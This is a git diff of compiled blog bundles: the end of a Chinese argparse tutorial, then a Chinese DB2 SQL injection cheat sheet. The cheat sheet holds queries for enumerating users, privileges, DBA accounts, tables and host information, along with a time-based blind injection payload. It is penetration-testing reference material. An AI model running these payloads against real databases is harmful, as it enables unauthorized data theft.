3e-4\n"})}),"\n",(0,a.jsxs)(n.p,{children:["argparse\u7684\u53c2\u6570\u4e3b\u8981\u53ef\u4ee5\u5206\u4e3a\u53ef\u9009\u53c2\u6570\u548c\u5fc5\u9009\u53c2\u6570\u3002\u53ef\u9009\u53c2\u6570\u5c31\u8ddf\u6211\u4eec\u7684",(0,a.jsx)(n.code,{children:"lr"}),"\u53c2\u6570\u76f8\u7c7b\u4f3c\uff0c\u672a\u8f93\u5165\u7684\u60c5\u51b5\u4e0b\u4f1a\u8bbe\u7f6e\u4e3a\u9ed8\u8ba4\u503c\u3002\u5fc5\u9009\u53c2\u6570\u5c31\u8ddf\u6211\u4eec\u7684",(0,a.jsx)(n.code,{children:"batch_size"}),"\u53c2\u6570\u76f8\u7c7b\u4f3c\uff0c\u5f53\u6211\u4eec\u7ed9\u53c2\u6570\u8bbe\u7f6e",(0,a.jsx)(n.code,{children:"required =True"}),"\u540e\uff0c\u6211\u4eec\u5c31\u5fc5\u987b\u4f20\u5165\u8be5\u53c2\u6570\uff0c\u5426\u5219\u5c31\u4f1a\u62a5\u9519\u3002\u770b\u5230\u6211\u4eec\u7684\u8f93\u5165\u683c\u5f0f\u540e\uff0c\u6211\u4eec\u53ef\u80fd\u4f1a\u6709\u8fd9\u6837\u4e00\u4e2a\u7591\u95ee\uff0c\u6211\u8f93\u5165\u53c2\u6570\u7684\u65f6\u5019\u4e0d\u4f7f\u7528--\u53ef\u4ee5\u5417\uff1f\u7b54\u6848\u662f\u80af\u5b9a\u7684\uff0c\u4e0d\u8fc7\u6211\u4eec\u9700\u8981\u5728\u8bbe\u7f6e\u4e0a\u505a\u51fa\u4e00\u4e9b\u6539\u53d8\u3002"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-python",children:"# positional.py\nimport argparse\n\n# \u4f4d\u7f6e\u53c2\u6570\nparser = argparse.ArgumentParser()\n\nparser.add_argument('name')\nparser.add_argument('age')\n\nargs = parser.parse_args()\n\nprint(f'{args.name} is {args.age} years old')\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u5f53\u6211\u4eec\u4e0d\u5b9e\u7528--\u540e\uff0c\u5c06\u4f1a\u4e25\u683c\u6309\u7167\u53c2\u6570\u4f4d\u7f6e\u8fdb\u884c\u89e3\u6790\u3002"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-shell",children:"$ positional_arg.py Peter 23\nPeter is 23 years old\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u603b\u7684\u6765\u8bf4\uff0cargparse\u7684\u4f7f\u7528\u5f88\u7b80\u5355\uff0c\u4ee5\u4e0a\u8fd9\u4e9b\u64cd\u4f5c\u5c31\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u8fdb\u884c\u53c2\u6570\u7684\u4fee\u6539\uff0c\u5728\u4e0b\u9762\u7684\u90e8\u5206\uff0c\u6211\u5c06\u4f1a\u5206\u4eab\u6211\u662f\u5982\u4f55\u5728\u6a21\u578b\u8bad\u7ec3\u4e2d\u4f7f\u7528argparse\u8fdb\u884c\u8d85\u53c2\u6570\u7684\u4fee\u6539\u3002"}),"\n",(0,a.jsx)(n.h2,{id:"663-\u66f4\u52a0\u9ad8\u6548\u4f7f\u7528argparse\u4fee\u6539\u8d85\u53c2\u6570",children:"6.6.3 \u66f4\u52a0\u9ad8\u6548\u4f7f\u7528argparse\u4fee\u6539\u8d85\u53c2\u6570"}),"\n",(0,a.jsxs)(n.p,{children:["\u6bcf\u4e2a\u4eba\u90fd\u6709\u7740\u4e0d\u540c\u7684\u8d85\u53c2\u6570\u7ba1\u7406\u65b9\u5f0f\uff0c\u5728\u8fd9\u91cc\u6211\u5c06\u5206\u4eab\u6211\u4f7f\u7528argparse\u7ba1\u7406\u8d85\u53c2\u6570\u7684\u65b9\u5f0f\uff0c\u5e0c\u671b\u53ef\u4ee5\u5bf9\u5927\u5bb6\u6709\u4e00\u4e9b\u501f\u9274\u610f\u4e49\u3002\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u4e3a\u4e86\u4f7f\u4ee3\u7801\u66f4\u52a0\u7b80\u6d01\u548c\u6a21\u5757\u5316\uff0c\u6211\u4e00\u822c\u4f1a\u5c06\u6709\u5173\u8d85\u53c2\u6570\u7684\u64cd\u4f5c\u5199\u5728",(0,a.jsx)(n.code,{children:"config.py"}),"\uff0c\u7136\u540e\u5728",(0,a.jsx)(n.code,{children:"train.py"}),"\u6216\u8005\u5176\u4ed6\u6587\u4ef6\u5bfc\u5165\u5c31\u53ef\u4ee5\u3002\u5177\u4f53\u7684",(0,a.jsx)(n.code,{children:"config.py"}),"\u53ef\u4ee5\u53c2\u8003\u5982\u4e0b\u5185\u5bb9\u3002"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-python",children:"import argparse \n \ndef get_options(parser=argparse.ArgumentParser()): \n \n parser.add_argument('--workers', type=int, default=0, \n help='number of data loading workers, you had better put it ' \n '4 times of your gpu') \n \n parser.add_argument('--batch_size', type=int, default=4, help='input batch size, default=64') \n \n parser.add_argument('--niter', type=int, default=10, help='number of epochs to train for, default=10') \n \n parser.add_argument('--lr', type=float, default=3e-5, help='select the learning rate, default=1e-3') \n \n parser.add_argument('--seed', type=int, default=118, help=\"random seed\") \n \n parser.add_argument('--cuda', action='store_true', default=True, help='enables cuda') \n parser.add_argument('--checkpoint_path',type=str,default='', \n help='Path to load a previous trained model if not empty (default empty)') \n parser.add_argument('--output',action='store_true',default=True,help=\"shows output\") \n \n opt = parser.parse_args() \n \n if opt.output: \n print(f'num_workers: {opt.workers}') \n print(f'batch_size: {opt.batch_size}') \n print(f'epochs (niters) : {opt.niter}') \n print(f'learning rate : {opt.lr}') \n print(f'manual_seed: {opt.seed}') \n print(f'cuda enable: {opt.cuda}') \n print(f'checkpoint_path: {opt.checkpoint_path}') \n \n return opt \n \nif __name__ == '__main__': \n opt = get_options()\n"})}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-shell",children:"$ python config.py\n\nnum_workers: 0\nbatch_size: 4\nepochs (niters) : 10\nlearning rate : 3e-05\nmanual_seed: 118\ncuda enable: True\ncheckpoint_path:\n"})}),"\n",(0,a.jsxs)(n.p,{children:["\u968f\u540e\u5728",(0,a.jsx)(n.code,{children:"train.py"}),"\u7b49\u5176\u4ed6\u6587\u4ef6\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u7528\u4e0b\u9762\u7684\u8fd9\u6837\u7684\u7ed3\u6784\u6765\u8c03\u7528\u53c2\u6570\u3002"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-python",children:"# \u5bfc\u5165\u5fc5\u8981\u5e93\n...\nimport config\n\nopt = config.get_options()\n\nmanual_seed = opt.seed\nnum_workers = opt.workers\nbatch_size = opt.batch_size\nlr = opt.lr\nniters = opt.niters\ncheckpoint_path = opt.checkpoint_path\n\n# \u968f\u673a\u6570\u7684\u8bbe\u7f6e\uff0c\u4fdd\u8bc1\u590d\u73b0\u7ed3\u679c\ndef set_seed(seed):\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n random.seed(seed)\n np.random.seed(seed)\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n\n...\n\n\nif __name__ == '__main__':\n\tset_seed(manual_seed)\n\tfor epoch in range(niters):\n\t\ttrain(model,lr,batch_size,num_workers,checkpoint_path)\n\t\tval(model,lr,batch_size,num_workers,checkpoint_path)\n\n"})}),"\n",(0,a.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,a.jsx)(n.p,{children:"argparse\u7ed9\u6211\u4eec\u63d0\u4f9b\u4e86\u4e00\u79cd\u65b0\u7684\u66f4\u52a0\u4fbf\u6377\u7684\u65b9\u5f0f\uff0c\u800c\u5728\u4e00\u4e9b\u5927\u578b\u7684\u6df1\u5ea6\u5b66\u4e60\u5e93\u4e2d\u4eba\u4eec\u4e5f\u4f1a\u4f7f\u7528json\u3001dict\u3001yaml\u7b49\u6587\u4ef6\u683c\u5f0f\u53bb\u4fdd\u5b58\u8d85\u53c2\u6570\u8fdb\u884c\u8bad\u7ec3\u3002\u5982\u679c\u5927\u5bb6\u8fd8\u60f3\u8fdb\u4e00\u6b65\u7684\u4e86\u89e3argparse\u7684\u4f7f\u7528\uff0c\u5927\u5bb6\u53ef\u4ee5\u70b9\u51fb\u4e0b\u9762\u63d0\u4f9b\u7684\u8fde\u63a5\u8fdb\u884c\u66f4\u6df1\u7684\u5b66\u4e60\u548c\u4e86\u89e3\u3002"}),"\n",(0,a.jsxs)(n.ol,{children:["\n",(0,a.jsx)(n.li,{children:(0,a.jsx)(n.a,{href:"https://geek-docs.com/python/python-tutorial/python-argparse.html",children:"Python argparse \u6559\u7a0b"})}),"\n",(0,a.jsx)(n.li,{children:(0,a.jsx)(n.a,{href:"https://docs.python.org/3/library/argparse.html",children:"argparse \u5b98\u65b9\u6559\u7a0b"})}),"\n"]})]})}function c(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,a.jsx)(n,{...e,children:(0,a.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/e232e35c.5d787ed5.js b/en/assets/js/e232e35c.5d787ed5.js new file mode 100644 index 0000000..6e3c9b9 --- /dev/null +++ b/en/assets/js/e232e35c.5d787ed5.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6021],{28453:(e,s,l)=>{l.d(s,{R:()=>a,x:()=>t});var n=l(96540);const i={},r=n.createContext(i);function a(e){const s=n.useContext(r);return n.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function t(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:a(e.components),n.createElement(r.Provider,{value:s},e.children)}},87531:(e,s,l)=>{l.r(s),l.d(s,{assets:()=>c,contentTitle:()=>t,default:()=>o,frontMatter:()=>a,metadata:()=>n,toc:()=>d});const n=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2","title":"DB2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/09.DB2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/09.DB2.md","tags":[],"version":"current","sidebarPosition":9,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"HQL","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL"},"next":{"title":"Cassandra","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Cassandra"}}');var i=l(74848),r=l(28453);const a={},t=void 0,c={},d=[{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"DB2 \u804a\u5929",id:"db2-\u804a\u5929",level:2},{value:"\u7248\u672c",id:"\u7248\u672c",level:3},{value:"\u8bc4\u8bba",id:"\u8bc4\u8bba",level:3},{value:"\u5f53\u524d\u7528\u6237",id:"\u5f53\u524d\u7528\u6237",level:3},{value:"\u5217\u51fa\u7528\u6237",id:"\u5217\u51fa\u7528\u6237",level:3},{value:"\u5217\u51fa\u6743\u9650",id:"\u5217\u51fa\u6743\u9650",level:3},{value:"\u5217\u51fa DBA \u5e10\u6237",id:"\u5217\u51fa-dba-\u5e10\u6237",level:3},{value:"\u5f53\u524d\u6570\u636e\u5e93",id:"\u5f53\u524d\u6570\u636e\u5e93",level:3},{value:"\u5217\u51fa\u6570\u636e\u5e93",id:"\u5217\u51fa\u6570\u636e\u5e93",level:3},{value:"\u5217\u51fa\u5217",id:"\u5217\u51fa\u5217",level:3},{value:"\u5217\u51fa\u8868\u683c",id:"\u5217\u51fa\u8868\u683c",level:3},{value:"\u4ece\u5217\u540d\u67e5\u627e\u8868",id:"\u4ece\u5217\u540d\u67e5\u627e\u8868",level:3},{value:"\u9009\u62e9\u7b2c N \u884c",id:"\u9009\u62e9\u7b2c-n-\u884c",level:3},{value:"\u9009\u62e9\u7b2c N \u4e2a\u5b57\u7b26",id:"\u9009\u62e9\u7b2c-n-\u4e2a\u5b57\u7b26",level:3},{value:"\u6309\u4f4d\u4e0e/\u6216/\u975e/\u5f02\u6216",id:"\u6309\u4f4d\u4e0e\u6216\u975e\u5f02\u6216",level:3},{value:"ASCII \u503c",id:"ascii-\u503c",level:3},{value:"\u5b57\u7b26->ASCII \u503c",id:"\u5b57\u7b26-ascii-\u503c",level:3},{value:"\u94f8\u9020",id:"\u94f8\u9020",level:3},{value:"\u51f9\u5f62\u5b57\u7b26\u4e32",id:"\u51f9\u5f62\u5b57\u7b26\u4e32",level:3},{value:"IF \u58f0\u660e",id:"if-\u58f0\u660e",level:3},{value:"\u6848\u4f8b\u8bf4\u660e",id:"\u6848\u4f8b\u8bf4\u660e",level:3},{value:"\u907f\u514d\u5f15\u7528",id:"\u907f\u514d\u5f15\u7528",level:3},{value:"\u65f6\u95f4\u5ef6\u8fdf",id:"\u65f6\u95f4\u5ef6\u8fdf",level:3},{value:"\u5e8f\u5217\u5316\u4e3a XML\uff08\u7528\u4e8e\u57fa\u4e8e\u9519\u8bef\u7684\uff09",id:"\u5e8f\u5217\u5316\u4e3a-xml\u7528\u4e8e\u57fa\u4e8e\u9519\u8bef\u7684",level:3},{value:"\u547d\u4ee4\u6267\u884c\u548c\u672c\u5730\u6587\u4ef6\u8bbf\u95ee",id:"\u547d\u4ee4\u6267\u884c\u548c\u672c\u5730\u6587\u4ef6\u8bbf\u95ee",level:3},{value:"\u4e3b\u673a\u540d/IP \u548c\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f",id:"\u4e3b\u673a\u540dip-\u548c\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f",level:3},{value:"\u6570\u636e\u5e93\u6587\u4ef6\u7684\u4f4d\u7f6e",id:"\u6570\u636e\u5e93\u6587\u4ef6\u7684\u4f4d\u7f6e",level:3},{value:"\u7cfb\u7edf\u914d\u7f6e",id:"\u7cfb\u7edf\u914d\u7f6e",level:3},{value:"\u9ed8\u8ba4\u7cfb\u7edf\u6570\u636e\u5e93",id:"\u9ed8\u8ba4\u7cfb\u7edf\u6570\u636e\u5e93",level:3},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function m(e){const s={a:"a",code:"code",h2:"h2",h3:"h3",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(s.table,{children:[(0,i.jsx)(s.thead,{children:(0,i.jsxs)(s.tr,{children:[(0,i.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(s.tbody,{children:(0,i.jsxs)(s.tr,{children:[(0,i.jsx)(s.td,{style:{textAlign:"left"},children:(0,i.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,i.jsx)(s.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,i.jsx)(s.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,i.jsxs)(s.ul,{children:["\n",(0,i.jsx)(s.li,{children:(0,i.jsx)(s.a,{href:"#db2-cheatsheet",children:"DB2 \u804a\u5929"})}),"\n",(0,i.jsx)(s.li,{children:(0,i.jsx)(s.a,{href:"#references",children:"References"})}),"\n"]}),"\n",(0,i.jsx)(s.h2,{id:"db2-\u804a\u5929",children:"DB2 \u804a\u5929"}),"\n",(0,i.jsx)(s.h3,{id:"\u7248\u672c",children:"\u7248\u672c"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select versionnumber, version_timestamp from sysibm.sysversions;\nselect service_level from table(sysproc.env_get_inst_info()) as instanceinfo\nselect getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+)\nselect prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo\nselect service_level,bld_level from sysibmadm.env_inst_info\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u8bc4\u8bba",children:"\u8bc4\u8bba"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select blah from foo -- comment like this (double dash)\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5f53\u524d\u7528\u6237",children:"\u5f53\u524d\u7528\u6237"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select user from sysibm.sysdummy1\nselect session_user from sysibm.sysdummy1\nselect system_user from sysibm.sysdummy1\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa\u7528\u6237",children:"\u5217\u51fa\u7528\u6237"}),"\n",(0,i.jsx)(s.p,{children:"DB2 \u4f7f\u7528\u64cd\u4f5c\u7cfb\u7edf\u5e10\u6237"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select distinct(authid) from sysibmadm.privileges -- priv required\nselect grantee from syscat.dbauth -- incomplete results\nselect distinct(definer) from syscat.schemata -- more accurate\nselect distinct(grantee) from sysibm.systabauth -- same as previous\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa\u6743\u9650",children:"\u5217\u51fa\u6743\u9650"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select * from syscat.tabauth -- shows priv on tables\nselect * from syscat.tabauth where grantee = current user -- shows privs for current user\nselect * from syscat.dbauth where grantee = current user;;\nselect * from SYSIBM.SYSUSERAUTH \u2014 List db2 system privilegies\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa-dba-\u5e10\u6237",children:"\u5217\u51fa DBA \u5e10\u6237"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'\nselect name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = \u2018Y\u2019 or SYSADMAUTH = \u2018G\u2019\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5f53\u524d\u6570\u636e\u5e93",children:"\u5f53\u524d\u6570\u636e\u5e93"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select current server from sysibm.sysdummy1\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa\u6570\u636e\u5e93",children:"\u5217\u51fa\u6570\u636e\u5e93"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select distinct(table_catalog) from sysibm.tables\nSELECT schemaname FROM syscat.schemata;\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa\u5217",children:"\u5217\u51fa\u5217"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa\u8868\u683c",children:"\u5217\u51fa\u8868\u683c"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select table_name from sysibm.tables\nselect name from sysibm.systables\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u4ece\u5217\u540d\u67e5\u627e\u8868",children:"\u4ece\u5217\u540d\u67e5\u627e\u8868"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select tbname from sysibm.syscolumns where name='username'\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u9009\u62e9\u7b2c-n-\u884c",children:"\u9009\u62e9\u7b2c N \u884c"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u9009\u62e9\u7b2c-n-\u4e2a\u5b57\u7b26",children:"\u9009\u62e9\u7b2c N \u4e2a\u5b57\u7b26"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u6309\u4f4d\u4e0e\u6216\u975e\u5f02\u6216",children:"\u6309\u4f4d\u4e0e/\u6216/\u975e/\u5f02\u6216"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot, bitor, bitxor, bitnot\n"})}),"\n",(0,i.jsx)(s.h3,{id:"ascii-\u503c",children:"ASCII \u503c"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"Char\tselect chr(65) from sysibm.sysdummy1 -- returns 'A'\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5b57\u7b26-ascii-\u503c",children:"\u5b57\u7b26->ASCII \u503c"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select ascii('A') from sysibm.sysdummy1 -- returns 65\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u94f8\u9020",children:"\u94f8\u9020"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select cast('123' as integer) from sysibm.sysdummy1\nselect cast(1 as char) from sysibm.sysdummy1\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u51f9\u5f62\u5b57\u7b26\u4e32",children:"\u51f9\u5f62\u5b57\u7b26\u4e32"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc'\nselect 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab'\n"})}),"\n",(0,i.jsx)(s.h3,{id:"if-\u58f0\u660e",children:"IF \u58f0\u660e"}),"\n",(0,i.jsx)(s.p,{children:"\u4f3c\u4e4e\u53ea\u5141\u8bb8\u5728\u5b58\u50a8\u8fc7\u7a0b\u4e2d\u4f7f\u7528\u3002\u8bf7\u6539\u7528\u6848\u4f8b\u903b\u8f91\u3002"}),"\n",(0,i.jsx)(s.h3,{id:"\u6848\u4f8b\u8bf4\u660e",children:"\u6848\u4f8b\u8bf4\u660e"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END from sysibm.sysdummy1\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u907f\u514d\u5f15\u7528",children:"\u907f\u514d\u5f15\u7528"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns \u201cADRI\u201d. Works without select too\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u65f6\u95f4\u5ef6\u8fdf",children:"\u65f6\u95f4\u5ef6\u8fdf"}),"\n",(0,i.jsx)(s.p,{children:"\u91cd\u67e5\u8be2\uff0c\u4f8b\u5982\uff1a\u5982\u679c\u7528\u6237\u4ee5 ascii 68\uff08'D'\uff09\u5f00\u5934\uff0c\u5219\u5c06\u6267\u884c\u91cd\u67e5\u8be2\uff0c\u4ece\u800c\u5ef6\u8fdf\u54cd\u5e94\u3002\u7136\u800c\uff0c\u5982\u679c\u7528\u6237\u4e0d\u4ece ascii 68 \u5f00\u59cb\uff0c\u90a3\u4e48\u91cd\u67e5\u8be2\u5c06\u4e0d\u4f1a\u6267\u884c\uff0c\u56e0\u6b64\u54cd\u5e94\u5c06\u66f4\u5feb\u3002"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 \n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5e8f\u5217\u5316\u4e3a-xml\u7528\u4e8e\u57fa\u4e8e\u9519\u8bef\u7684",children:"\u5e8f\u5217\u5316\u4e3a XML\uff08\u7528\u4e8e\u57fa\u4e8e\u9519\u8bef\u7684\uff09"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string\nselect xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements\nselect xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(\u2026 AS varchar(500)) to display the result.\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u547d\u4ee4\u6267\u884c\u548c\u672c\u5730\u6587\u4ef6\u8bbf\u95ee",children:"\u547d\u4ee4\u6267\u884c\u548c\u672c\u5730\u6587\u4ef6\u8bbf\u95ee"}),"\n",(0,i.jsx)(s.p,{children:"\u4f3c\u4e4e\u53ea\u5141\u8bb8\u6765\u81ea\u8fc7\u7a0b\u6216 UDF\u3002"}),"\n",(0,i.jsx)(s.h3,{id:"\u4e3b\u673a\u540dip-\u548c\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f",children:"\u4e3b\u673a\u540d/IP \u548c\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u6570\u636e\u5e93\u6587\u4ef6\u7684\u4f4d\u7f6e",children:"\u6570\u636e\u5e93\u6587\u4ef6\u7684\u4f4d\u7f6e"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u7cfb\u7edf\u914d\u7f6e",children:"\u7cfb\u7edf\u914d\u7f6e"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions.\nselect name, deferred_value, dbpartitionnum from sysibmadm.dbcfg -- Requires priv. Retrieve all the database configuration parameters values stored on disk for all database partitions.\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u9ed8\u8ba4\u7cfb\u7edf\u6570\u636e\u5e93",children:"\u9ed8\u8ba4\u7cfb\u7edf\u6570\u636e\u5e93"}),"\n",(0,i.jsxs)(s.ul,{children:["\n",(0,i.jsx)(s.li,{children:"\u7cfb\u7edf ibm"}),"\n",(0,i.jsx)(s.li,{children:"\u7cfb\u7edf\u8ba1\u7b97\u673a"}),"\n",(0,i.jsx)(s.li,{children:"\u7cfb\u7edf\u7edf\u8ba1"}),"\n",(0,i.jsx)(s.li,{children:"\u7cfb\u7edf\u516c\u5171"}),"\n",(0,i.jsx)(s.li,{children:"\u6458\u8981"}),"\n",(0,i.jsx)(s.li,{children:"\u7cfb\u7edf\u5de5\u5177"}),"\n"]}),"\n",(0,i.jsx)(s.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,i.jsxs)(s.ul,{children:["\n",(0,i.jsx)(s.li,{children:(0,i.jsx)(s.a,{href:"https://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet/",children:"DB2 SQL \u6ce8\u5165\u5907\u5fd8\u5355-Adri\xe1n-20/05/2012"})}),"\n",(0,i.jsx)(s.li,{children:(0,i.jsx)(s.a,{href:"http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet",children:"DB2 SQL 